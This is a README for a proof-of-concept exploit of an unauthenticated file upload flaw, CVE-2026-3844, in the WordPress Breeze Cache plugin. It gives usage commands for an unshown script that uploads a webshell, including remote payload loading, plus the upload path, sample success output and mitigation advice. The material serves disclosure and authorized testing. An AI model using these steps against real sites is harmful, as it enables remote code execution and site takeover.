CVE-2026-3844 — WordPress Breeze Cache Unauthenticated File Upload

Overview

This repository contains a Python proof-of-concept (PoC) script for demonstrating an Unauthenticated Arbitrary File Upload vulnerability affecting the WordPress Breeze Cache plugin <= 2.4.4.

⚠️ This project is intended strictly for authorized security testing, educational research, and defensive validation purposes only.

---

Vulnerability Information

• CVE ID: CVE-2026-3844
• Affected Plugin: Breeze Cache for WordPress
• Affected Versions: <= 2.4.4
• Issue Type: Unauthenticated Arbitrary File Upload
• Impact: Potential Remote Code Execution (RCE)
• Attack Vector: Remote / Unauthenticated

The vulnerability abuses Breeze Cache gravatar caching functionality to store attacker-controlled files within the WordPress cache directory.

---

Features

• Vulnerability detection mode
• Automated exploitation workflow
• Webshell verification support
• Colored terminal output
• Remote payload loading
• Upload verification checks
• Optional output logging

---

Requirements

• Python 3.8+
• pycurl
• termcolor

Install dependencies:

pip install pycurl termcolor

---

Files

File	Description
CVE-2026-3844.py	Main PoC exploit script
CVE-2026-3844.yaml	YAML template/configuration

---

Usage

Check if Target Appears Vulnerable

python3 CVE-2026-3844.py -u http://target.com --check-only

Run Exploit

python3 CVE-2026-3844.py -u http://target.com

Custom Payload

python3 CVE-2026-3844.py -u http://target.com -p https://example.com/payload.php

Save Results

python3 CVE-2026-3844.py -u http://target.com -o results.txt

---

How It Works

The script performs the following steps:

1. Detects the installed Breeze Cache version
2. Checks whether the plugin version is vulnerable
3. Submits a crafted WordPress comment request
4. Abuses Breeze cache gravatar handling
5. Waits for cache generation
6. Verifies whether the uploaded file becomes accessible
7. Tests payload responsiveness

---

Vulnerable Path

The uploaded payload may become accessible from:

/wp-content/cache/breeze-extra/gravatars/

---

Notes

Successful exploitation may depend on the following Breeze setting being enabled:

Host Files Locally - Gravatars

If the feature is disabled, exploitation attempts may fail.

---

Example Output

[+] Target VULNERABLE (Breeze v2.4.4)
[+] Comment posted successfully
[+] File found at: http://target.com/wp-content/cache/breeze-extra/gravatars/random.php
[+] VERIFICATION STRING FOUND - EXPLOIT SUCCESSFUL!

---

Disclaimer

This repository is provided for:

• Security research
• Educational purposes
• Authorized penetration testing
• Defensive security assessments

Do not use this project against systems you do not own or have explicit permission to test.

The author assumes no responsibility for misuse or damages caused by this project.

---

Mitigation Recommendations

Website administrators should:

• Update Breeze Cache to the latest patched version
• Disable unnecessary file caching features
• Restrict dangerous file uploads
• Disable PHP execution inside cache directories
• Monitor /wp-content/cache/ for suspicious files
• Deploy a Web Application Firewall (WAF)
• Enforce strict server-side validation

---

Educational Purpose Statement

This proof-of-concept was created to help:

• Security researchers
• Penetration testers
• Blue teams
• WordPress administrators
• Developers

understand the security risks associated with insecure caching mechanisms and arbitrary file uploads.

---

References

• CVE Database
• WordPress Security Advisories
• OWASP File Upload Security Guidelines
• Breeze Cache Plugin Documentation

---

Author

Security Research / Educational Project